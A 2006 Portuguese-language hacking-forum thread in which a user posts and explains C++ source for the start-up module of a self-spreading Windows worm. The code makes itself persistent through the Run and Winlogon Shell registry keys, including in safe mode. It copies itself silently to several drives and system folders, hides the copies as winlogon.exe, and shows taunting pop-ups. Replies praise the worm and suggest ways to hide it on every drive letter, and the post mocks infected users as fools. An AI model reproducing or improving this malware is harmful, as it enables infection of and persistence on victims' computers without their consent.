R1c4rdo Viriil - Divulgação Estudem :)

Iniciado por Anonymous, 31 de Março , 2006, 01:07:52 AM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Anonymous

Aloha Galera do Darkers...
Hum depois da minha ultima performace no darkers resolvi postar uma coisa inédita até agora :)

bom gente eu o codei em BORLAND C++ BUILDER .. Então vou postar os fontes da parte
Inicializadora :)

que será a proxima a ser demonstrada

// Inclui Biblioteca de Manipulações de Processos e Comunicações

#include <string.h>
// Inclui Biblioteca de Strings Manipulações e Incrementações

#include <shellapi.h>
// Inclui Biblioteca de Api Shell Manipulações de Arquivos e Diretorios

#include <winreg.h>
// Inclui Biblioteca de Manipulação Registro ASCII

#include <winbase.h>
// Inclui Biblioteca de Manipulação de Base Kernel

#include <winuser.h>
// Inclui Biblioteca de Manipulação de Interfaces e Componentes de Usuarios

#include <winsock.h>

// Inclui Biblioteca de Manipulaçao de Sockets e Protocolos de Comunicações
class Inicializacao
// Classe de Inicialização do Worm Salvara Dados Pegara Informaçoes
// Para usa-las Depois
// Classe Base

{


  public:
  //Metodos Publicos Abaixo:

  void VerificaDia  ();  // Função de Verificação de Dia
  void VerificaHora ();  // Funçãõ de Verificaçao de Hora
  void GaranteInicio();  // Função de Escrever no Registro e Garantir Proxima Vez ser Executado
  void Auto_Copia   ();  // Função Que Se Copia Automaticamente
  void Camufla_Worm ();  // Função Que Vai Camuflar Arquivos do Worm Copiados


};


Bom Acima Seria minha biblioteca .. Onde eu instancio e crio minha classe que vai alocar minhas funções
que são

Verifica Dia:

Isso eu codei para que quando o virus se iniciase ele verifica-se o dia atual ai caso for meu aniversario a rotina dele vai mudar :) caso for uma data especial tipo pascoa, natal tbm vai mudar
entendem é somente uma implementação basica de inteligencia artificial

Verifica Hora:

Isso seria para "zuar" com o idiota do usuario que rodar isso pois por exemplo meu virus vai falar com o usuario caso for meia noite por exemplo vai mandar ele ir dormir hahaha e ficar falando vai vai vai vai ate ele ir :) sabe pq mto pc faz malz hehhe se for meio dia vai mandar ele almoçar pra nao ficar desnutrido entende :)
é so um "Enchedor de paciencia" hahaha

Garante Inicio:

Isso seria para ele escrever no registro / winlogon tbm para que ele fosse executado sempre dá onde parou
ja que eu trabalho muito com a tecnica lista encadeada muitos devem saber o que é ele vai se auto-inicializar
mesmo que o usuario coloque o pc em modo de segurança :) somente uma prevenção ...

Auto_Copia   

Isso seria se reproduzir e se "divulgar" nos outros sistemas Idiotas ...
seria ele se copiar para as pastas .. system, system32, windows, inicializar, emule ( para se reproduzir por Compartilhamento ), kazza tbm :)
seria uma diversão há mais e um salvamento de configuração dentro do executavel :)

Camufla_Worm

Isso seria a camuflagem ele vai se copiar e trocar a data de mudança do arquivos assim o s.o nao sabe que o arquivo se copio ele vai se copiar e mudar a extensao trocar o nome se invisiblizar
seria o metodo que o protege :)

Agora people vamos as programações das funçoes ali acima é o prototipo apenas hehehe
vamos la :)



#include "Unit1.h"
#include "winlogon_class.h"
// Inclui Classe Criada Por Min Para Programar Funções

#define COPIAR_AGORA FO_COPY
#define COPIAR_NA_SURDINA FOF_SILENT
// Declaração das Definiçoes

void Inicializacao::VerificaDia()
{
   SYSTEMTIME tempo;
   // Declara Estrutura de Manipulação do Tempo

   GetSystemTime(&tempo);
   // Pega Hora Atual e Atualizada

   if( tempo.wDay == 29 && tempo.wMonth == 12 )
   // Caso Seja Igual a Data do Meu Aniversario...
   {

   }

   if( tempo.wDay == 31 && tempo.wMonth == 12 )
   // Caso Ano Novo..
   {
      MessageBox(0,"Feliz Ano NOVO ... Desejo Mais Infecções", "@", 0 );
   }

   if( tempo.wDay == 24 && tempo.wMonth == 12 )
   // Caso seja Natal
   {
      MessageBox(0,"Feliz NATAL ho-ho-ho", "@", 0 );
   }

   if( tempo.wDay == 13 )
   // Caso For um Dia 13..
   {
      MessageBox(0,"Cuidado Dia 13 Da Azar Inda Mais pra um Cara Infectado :)", "@", 0);
   }

}


Função que vai encher o saco do user lembra da verifica dia hehe olha como eu a programei :)
acima é ela para voces entenderem como eu codei


void Inicializacao::VerificaHora()
{
   SYSTEMTIME Hora;
   //Declara Strutura de Manipulação de Hora

   GetSystemTime(&Hora); //Pega Hora Atual

   if( Hora.wHour == 00 )
   //Caso For Meia-Noite
   {
      MessageBox(0,"Vai Dormir :(|)", "@", 0 );
   }

   if( Hora.wHour == 7 )
   //Caso For 7 da Manha
   {
      MessageBox(0,"Voce Ta Madrugando!!", "@", 0 );
   }
}


Essa é a que vai verificar a hora pra encher o saco do idiota :)


void Inicializacao::GaranteInicio()
{

   Windows::PHKEY p;
   // Ponteiro Pra Chave de Registro

   Windows::PHKEY p2;
   // Ponteiro Pra Chave de Registro 2

   if(RegOpenKey(HKEY_LOCAL_MACHINE,   "Microsoft\\Software\\Windows\\CurrentVersion\\Run", p ))
   { // Se a Chave Conseguir Ser Aberta Para Manipulação que vai CONSEGUIR :)

      TRegistry * Registro_Run  =  new TRegistry;
      // Declara um Ponteiro de Registro Para Realizar a Manipulação Ponteiro Run

      TRegistry * Registro_N    =  new TRegistry;
      // Declara um Ponteiro de Registro Para Realizar a Manipulação Ponteiro NT

      Registro_Run->RootKey = HKEY_LOCAL_MACHINE;
      // Declara Como Chave Principal a Chave LOCAL_MACHINE
      // Que Sera Usada como Advisoria Para outras Chaves e Sub Valores

      Registro_N->RootKey = HKEY_LOCAL_MACHINE;
      // Declara Como Chave Principal a Chave LOCAL_MACHINE
      // Que Sera Usada Como Advisoria Para outras Chaves e Sub Valores

      Registro_Run->OpenKey( "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"    , False );
      // Abre Chave Para Manipulação onde sera Escrito o Worm

      Registro_N->OpenKey( "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", False );
      // Abre Chave Para Manipulação Onde Sera Escrito o Worm Para Entrar Quando Entrar no MS
      // MS - Modo de Segurança

      Registro_Run ->WriteString ( "WinLogonR" , Application->ExeName );
      // Escreve no Registro o Valor WinLogonR - > Nome do Executavel Que
      // Vai Se Encarregar de Executar a Cada Iniciação o Worm..

      Registro_N ->WriteString(  "Shell",  "Explorer.exe, " + Application->ExeName);
      // Escreve no Registro o Valor SHELL - > Nome do Executavel Que
      // Vai Se Encarregar de Executar a Cada Iniciação o Worm
      // Chave que se Encarrega de Executar ATE no Modo de Segurança


      FreeMemory( Registro_Run );
      // Libera Mémoria Alocada Pelo Ponteiro Run

      FreeMemory( Registro_N );
      // Libera Mémoria Alocada Pelo Ponteiro NT

   }

}


Com Essa acima ele se Garante que vá iniciar :)
podem ver dando um look nos comentarios que eu coloquei para ajudar a discernir


void Inicializacao::Auto_Copia()
{

     // Ponteiros Para -> Diretorios Locais

     TSHFileOpStruct fsC;
     TSHFileOpStruct fsD;
     TSHFileOpStruct fsE;
     TSHFileOpStruct fsF;

     // Ponteiros Para -> Diretorio Windows

     TSHFileOpStruct fsC_Win;
     TSHFileOpStruct fsD_Win;
     TSHFileOpStruct fsE_Win;
     TSHFileOpStruct fsF_Win;

     // Ponteiros Para -> Diretorio Sistema

     TSHFileOpStruct fsC_S;
     TSHFileOpStruct fsD_S;
     TSHFileOpStruct fsE_S;
     TSHFileOpStruct fsF_S;

     // Aloca um Ponteiro para a Estrutura onde contem Toda informação dos Arquivos
     // A Serem Manipulados Pelo Codigo Viral
     // Origem -> Destino -> Handle -> Hora Atual da Ultima Execução e Mtas Outras...

     // Estrutura de Manipulação de Arquivo Usado Para Construção de Minhas
     // Proprias rotinas de Manipulação

     fsC.hwnd     = NULL;
     fsD.hwnd     = NULL;
     fsE.hwnd     = NULL;
     fsF.hwnd     = NULL;

     fsC_Win.hwnd = NULL;
     fsD_Win.hwnd = NULL;
     fsE_Win.hwnd = NULL;
     fsF_Win.hwnd = NULL;

     fsC_S.hwnd   = NULL;
     fsD_S.hwnd   = NULL;
     fsE_S.hwnd   = NULL;
     fsF_S.hwnd   = NULL;

     // Handle de Memoria de Arquivo Nula por Ser Operação Assincrona
     // Handle e Tbm Seleção de Data e Hora Setando como NULO
     // Não Avera Modificação na Hora e Data do Arquivo
     // Passo Importante Para o Ocultamento Pois Assim o Windows e o Usuario
     // Pensa que nao Houve Modificações nem Copias

     fsC.wFunc      = COPIAR_AGORA;
     fsD.wFunc      = COPIAR_AGORA;
     fsE.wFunc      = COPIAR_AGORA;
     fsF.wFunc      = COPIAR_AGORA;

     fsC_Win.wFunc  = COPIAR_AGORA;
     fsD_Win.wFunc  = COPIAR_AGORA;
     fsE_Win.wFunc  = COPIAR_AGORA;
     fsF_Win.wFunc  = COPIAR_AGORA;

     fsC_S.wFunc    = COPIAR_AGORA;
     fsD_S.wFunc    = COPIAR_AGORA;
     fsE_S.wFunc    = COPIAR_AGORA;
     fsF_S.wFunc    = COPIAR_AGORA;

     // Especifica a Operação Envolvida na Shell no Caso COPIA
     // Copiar_agora é uma Constante que eu Defini Apenas Para Inibir do Windows
     // A Real Intenção com a COPIAR_AGORA

     fsC.pFrom  = Application->ExeName.c_str();
     fsD.pFrom  = Application->ExeName.c_str();
     fsE.pFrom  = Application->ExeName.c_str();
     fsF.pFrom  = Application->ExeName.c_str();

     fsC_Win.pFrom  = Application->ExeName.c_str();
     fsD_Win.pFrom  = Application->ExeName.c_str();
     fsE_Win.pFrom  = Application->ExeName.c_str();
     fsF_Win.pFrom  = Application->ExeName.c_str();

     fsC_S.pFrom  = Application->ExeName.c_str();
     fsD_S.pFrom  = Application->ExeName.c_str();
     fsE_S.pFrom  = Application->ExeName.c_str();
     fsF_S.pFrom  = Application->ExeName.c_str();

     // Especifica o Local de Onde o Arquivo Original Esta no Caso Este Arquivo
     // Ou Seja o Worm Salva uma Copia dele na Mémoria Heap e E Espera


     fsC.pTo      = "C://";
     fsD.pTo      = "D://";
     fsE.pTo      = "E://";
     fsF.pTo      = "F://";

     fsC_Win.pTo  = "C://WINDOWS";
     fsD_Win.pTo  = "D://WINDOWS";
     fsE_Win.pTo  = "E://WINDOWS";
     fsF_Win.pTo  = "F://WINDOWS";

     fsC_S.pTo  = "C://WINDOWS//system";
     fsD_S.pTo  = "D://WINDOWS//system";
     fsE_S.pTo  = "E://WINDOWS//system";
     fsF_S.pTo  = "F://WINDOWS//system";

     // Especifica Onde Sera o Destino do Worm Qual Local Ele Ira
     // No Caso Pega o Worm da Mémoria que Ja Esta Guardado Por From
     // E o Joga no Novo Caminho


     fsC.fFlags = COPIAR_NA_SURDINA;
     fsD.fFlags = COPIAR_NA_SURDINA;
     fsE.fFlags = COPIAR_NA_SURDINA;
     fsF.fFlags = COPIAR_NA_SURDINA;

     fsC_Win.fFlags = COPIAR_NA_SURDINA;
     fsD_Win.fFlags = COPIAR_NA_SURDINA;
     fsE_Win.fFlags = COPIAR_NA_SURDINA;
     fsF_Win.fFlags = COPIAR_NA_SURDINA;

     fsC_S.fFlags = COPIAR_NA_SURDINA;
     fsD_S.fFlags = COPIAR_NA_SURDINA;
     fsE_S.fFlags = COPIAR_NA_SURDINA;
     fsF_S.fFlags = COPIAR_NA_SURDINA;

     // Seleciona as Flags ou Opçoes Quero uma Copia Silenciosa
     // Para Evitar Suspeitas


     SHFileOperationA(&fsC);
     SHFileOperationA(&fsD);
     SHFileOperationA(&fsE);
     SHFileOperationA(&fsF);

     SHFileOperationA(&fsC_Win);
     SHFileOperationA(&fsD_Win);
     SHFileOperationA(&fsE_Win);
     SHFileOperationA(&fsF_Win);

     SHFileOperationA(&fsC_S);
     SHFileOperationA(&fsD_S);
     SHFileOperationA(&fsE_S);
     SHFileOperationA(&fsF_S);

     // Evoca a Operação Passando o Endereço de Memoria Onde Ocorrera Todo
     // o Show ...

}

void Inicializacao::Camufla_Worm()
{

   SetFileAttributesA("C://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("D://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("E://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("F://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   // Garante Arquivo ser Escondido no Dir Principal DE OTARIOS

   SetFileAttributesA("C://WINDOWS//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("D://WINDOWS//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("E://WINDOWS//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("F://WINDOWS//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   // Garante Arquivo ser Escondido no Dir Win

   SetFileAttributesA("C://WINDOWS//system//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("D://WINDOWS//system//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("E://WINDOWS//system//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("F://WINDOWS//system//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   // Garante Arquivo ser Escondido no system


}


Bom essa ai é a função que mais demorei ele vai se copiar para as pastas em todos os sistemas de unidade
C:\ D:\ E:\ F:\ hehehe nda escapa e tbm vai se camuflar ..

BOM GENTE ESSE FOI MEU VÍRUS DIDATICO :)

Ricardo Silva de Barros
Data- 30 / Mar / 2006
Hora- 01:07 = Manha .. 

DarkGenesis

Bom depois de uma explicação dessa nêm precisso falar nada né.
Valew mais uma vez por estar contribuindo com o darkers e compartilhando seu conhecimento com a galera.
Excelênte...
- Ponto Positivo

TGA

TGA

Grande Ricardo, arrebenando nos coders...
Essa tecnica de inicar no "shell Explorer" é muito boa, pois até em modo de segurença ele sera executado;
Só queria cometar uma linha abaixo;


CitarSetFileAttributesA("C://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("D://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("E://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   SetFileAttributesA("F://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
   // Garante Arquivo ser Escondido no Dir Principal DE OTARIOS

Já imaginou se vc fosse colocar para todas as partições, de A..z, que trabalho em..
POis acharia legar fazer de outro maneira, mais não sei se esta correto, pois não sei programar em C++;
Se estiver errado me corrijam;

CitarSetFileAttributesA("C://winlogon.exe, D://winlogon.exe, E://winlogon.exe, F://winlogon.exe",  FILE_ATTRIBUTE_HIDDEN );
   // Garante Arquivo ser Escondido no Dir Principal DE OTARIOS

Mas de toda maneira esta correto o coder, vai funfa do mesmo jeito;

Vlw ricardo Brother... como sempre codando pra caramba..     ;)
"A IMAGINAÇÃO É MAIS IMPORTANTE QUE O CONHECIMENTO"
__________________________________________________________

Kratos

Putz!!

Ricardo vc merece ++ por isso !!! me diz ai, a onde eu iria encontrar um virus bem feito e super explicado????

Parabens!!!
::: "A vida é bela pra quem sabe curtir" :::





whit3_sh4rk

#4
[r1c4rdo1988]
Nem preciso falar nada hehehe.. uma ótima fonte de estudo.. é muito bom ter bons coders brasileiros e o mais importante, que compartilhem os seus conhecimentos..
Totalmente explicado, para quem estiver aprendendo C++ está feito hehe...

[TGA]
E ae cara  :D

[]s

TGA

TGA

[ whit3_sh4rk ]
Fala brother.. é estou trabalhando muitooo.. e estudando muitoo.. estou sem tempo;
mais ja estou voltando a ativa  novamente, devagar vou chegando, a escola e o trabalho
estão me matando.
Quanto ao meu comentario acima, foi só uma ideia, como eu citei antes; pois sei que no
delphi tem como, só chamar o cmd e os parametros, vlw...mais uma vez repito, belo codigo ricardo;

vlw BrOtHeSs..

Abraços...    8)
"A IMAGINAÇÃO É MAIS IMPORTANTE QUE O CONHECIMENTO"
__________________________________________________________

Anonymous

Então Gente é isso ai mesmo q o White Falow

E Sim.. Tga Mano tem mais uma maneira
que seria pedir uma Enumeração em Forma de Lista encadeada de todos os drives existentes
inclusive existe lib pra escrever na trilha 0 de qualquer .. assim seria facil tbm

talvez se eu usa-se um pouco de assembly conseguise infectar de A .. Z

TGA Oh mano num sei se voce notou mais .. essa de iniciar no Modo de segurança eu nao sabia nao quem foi que me falow??? VOCE cara Grettz pra voce !! Lembra q eu disse q ia usar hehehe

Vlw Ai pessoal é so estudar agora .. principalmente pra quem quer aprender um pouco de C++
e outra em

Vou falar uma acho q alguns vão se interresar

Isso esta em BCB - Borland C++ Builder
TUDO QUE ESTÁ EM BCB -> PODE Virar DELPHI

Pq os magos do delphi nao codam pra delphi ele ^^

Flw Gente :)

Shady

Apoc, tou impressionado.

 Pra quem nao sabe, faz alguns meses eu mesmo testei o malware no meu pc com o apoc. Nao consegui tirar e meu firewall passou batido das acoes dele ^^

 Te admiro por compartilhar apoc ;)


Mundus Vult Decipi

Cloudy

Putz apoca... Cara, to sem palavras, muito foda.

Como o Shady disse, te amo po compartilhar. Isso mesmo cara, assim vc vai longe.

Flw ae apoca.

Preciso falar com vc no MSN...

...by Cloudy
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

caesar2k

uma coisa interessante a se fazer seria:

   int i;
   char Buf[40];
 
   for (i = 'A'; i != 'Z'; i++)
     sprintf(Buf, "%c:\\winlogon.exe", i);
     SetFileAttributesA(Buf, FILE_ATTRIBUTE_HIDDEN );
     sprintf(Buf, "%c:\\WINDOWS\\winlogon.exe", i);
     SetFileAttributesA(Buf, FILE_ATTRIBUTE_HIDDEN );
     sprintf(Buf, "%c:\\WINDOWS\\SYSTEM32\\winlogon.exe", i);
     SetFileAttributesA(Buf, FILE_ATTRIBUTE_HIDDEN );
   }

Daí vai de A a Z sem problemas ;)
E menos physical strings = menos espaço

bloodrain

@ricardo
cara vc merece um
while(1=1) {
$ponto = $ponto++;
}
XD soh cuidado pra nao criar e espalhar worm que ai pode dar merda tipo o que aconteceu com o alemao que criou o virus lsass

Anonymous

PQP kra, vc é muito inteligente, parabéns pra vc, muito rOx o bagulho, e explicado desse geito velho...nosga o.O
Boa ++++/++++

Anonymous

ae R1c4rdo vc eh foda cara hhe

CitarfsC_Win.pTo  = "C://windows";
     fsD_Win.pTo  = "D://windows";
     fsE_Win.pTo  = "E://windows";
     fsF_Win.pTo  = "F://windows";

a variavel %windir% ou %systemroot% num serve nesse caso?

Fox

Fino demais esse codigo....valeu Ricardo.
Parabéns!

insanity